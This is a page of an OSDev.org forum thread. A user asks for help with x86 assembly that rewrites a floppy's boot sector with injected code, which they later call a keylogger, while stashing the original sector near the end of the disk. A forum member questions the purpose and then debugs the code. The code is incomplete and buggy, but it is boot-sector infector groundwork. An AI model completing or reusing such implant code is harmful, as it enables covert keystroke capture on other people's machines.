OSDev.org

The Place to Start for Operating System Developers
It is currently Thu Jun 20, 2019 11:55 am

All times are UTC - 6 hours




Post new topic Reply to topic  [ 19 posts ]  Go to page 1, 2  Next
Author Message
 Post subject: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 12:14 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
I am trying to install my code onto boot sector however the floppy disk don't boot with my code injected. Here is part of my source:

Code:
mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0
int 13h

LEA DI,[SETOR+3EH]
MOV SI,CODE
MOV CX,1C0h
REP MOVSB

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es

;push cx
;push dx

sub cl,6
;lea bx,[setor+3Eh]
mov bx,SETOR
mov ax,301h
mov dl,0h
int 13h

;pop dx
;pop cx

mov bx,SETOR
mov ax,301h
mov cx,1
mov dh,0
mov dl,0h
INT 13H

ret

CODE:
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
mov di,600h
mov si,7c00h
mov cx,512
cld
rep movsb
push ax
push 61Ch
retf
cli
IN AL,64H
...

What is wrong in my source above?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 1:14 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
How do you know the problem is with the code you've shown here, and not something else?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 1:33 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
Octocontrabass wrote:
How do you know the problem is with the code you've shown here, and not something else?

Because the OS just should boot from this code at bootstrap sector.


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 1:39 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
Have you checked the disk using a hex editor to see if your code was successfully written to the disk?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 1:44 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
Octocontrabass wrote:
Have you checked the disk using a hex editor to see if your code was successfully written to the disk?

Yes. The boot sector was modified however it dont is writed at last sector - 6 that should be saved at final of disk.


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 1:57 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
Check the return values from the INT 0x13 call. Does the BIOS say the write was successful?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 2:13 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
Octocontrabass wrote:
Check the return values from the INT 0x13 call. Does the BIOS say the write was successful?

I already check the values at AH register and the INT 13h was writed sucessfully. I am already afraid beacause i dont understand what is happening


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 2:16 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
I think the error is:
Code:
mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
pop es
INT 13H
SUB CL,6
MOV AX,201H
MOV DL,0H
;MOV DH,0
INT 13H
MOV AX,301H
MOV CX,1
INT 13H
MOV DL,0
INT 19H


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 2:21 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
Are you trying to back up and restore the original boot sector? You're not backing up the original boot sector, so you can't restore it.


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 2:28 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
Octocontrabass wrote:
Are you trying to back up and restore the original boot sector? You're not backing up the original boot sector, so you can't restore it.

Yes i write the original bootstrap sector at 6 last sectors.

Why you say that i not backup the 1st sector?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 2:46 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
Because you never write the original first sector back to the disk.

  1. You read the first sector to a buffer in memory
  2. You modify the buffer
  3. You write the modified buffer to a sector near the end of the disk
  4. You write the modified buffer to the first sector


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 3:43 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
I've modified my source code however it don't solve my problem. The Operating System don't bootstrap with this source:
Code:

mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0
int 13h

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov ax,301h
sub cl,6
mov dl,0
mov bx,SETOR
INT 13H

LEA DI,[SETOR+3EH]
MOV SI,KEYLOGGER
MOV CX,1C0h
REP MOVSB

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov bx,SETOR
mov ax,301h
mov cx,1
mov dh,0
mov dl,0h
INT 13H

ret

CODE:
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
mov di,600h
mov si,7c00h
mov cx,512
cld
rep movsb
push ax
push 61Ch
retf

.............

IN AL,64H

.............

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
pop es
INT 13H
SUB CL,6
MOV AX,201H
MOV DL,0H
;MOV DH,0
INT 13H
MOV DL,0
MOV AX,301H
MOV CX,1
;CS
MOV BX,SETOR
INT 13H
MOV DL,0
INT 19H

BUF db 2048 dup (0)
SETOR  db 512 dup(0)

What should i do?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 4:11 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
Why are you writing a keylogger?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 4:22 am 
Offline

Joined: Thu Sep 20, 2018 12:05 am
Posts: 9
Octocontrabass wrote:
Why are you writing a keylogger?

For educational purposes.

See my source that still dont work:

Code:

mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0
int 13h

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov ax,301h
sub cl,6
mov dl,0
mov bx,SETOR
INT 13H

LEA DI,[SETOR+3EH]
MOV SI,KEYLOGGER
MOV CX,1C0h
REP MOVSB

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov bx,SETOR
mov ax,301h
mov cx,1
mov dh,0
mov dl,0h
INT 13H

ret

KEYLOGGER:
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
mov di,600h
mov si,7c00h
mov cx,512
cld
rep movsb
push ax
push 61Ch
retf



IN AL,64H



mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
pop es
INT 13H
SUB CL,6
MOV AX,201H
MOV DL,0H
;MOV DH,0
MOV BX,SETOR
INT 13H
MOV DL,0
MOV AX,301H
MOV CX,1
;CS
MOV BX,SETOR
INT 13H
MOV DL,0
INT 19H

BUF db 2048 dup (0)
SETOR  db 512 dup(0)


And still dont bootstrap with floppy disk. Why?


Top
 Profile  
 
 Post subject: Re: install code at boot sector of floppy
PostPosted: Thu Sep 20, 2018 5:08 am 
Offline
Member
Member

Joined: Mon Mar 25, 2013 7:01 pm
Posts: 1547
Code:
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h

Any MOV to SS must be followed immediately by a MOV to SP. Having instructions between them can cause issues.

Code:
push 61Ch

Are you sure this is the right value? Perhaps you should use label arithmetic to come up with it instead. (Also, since the address is a constant, you can use a far JMP instead of a far RET.)

Code:
push es
mov es,di
pop es
INT 13H

I think you copy-pasted this code in the wrong order.

Code:
MOV BX,SETOR

Will this label evaluate to a reasonable address if you use it inside your "keylogger"?


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 19 posts ]  Go to page 1, 2  Next

All times are UTC - 6 hours


Who is online

Users browsing this forum: No registered users and 4 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group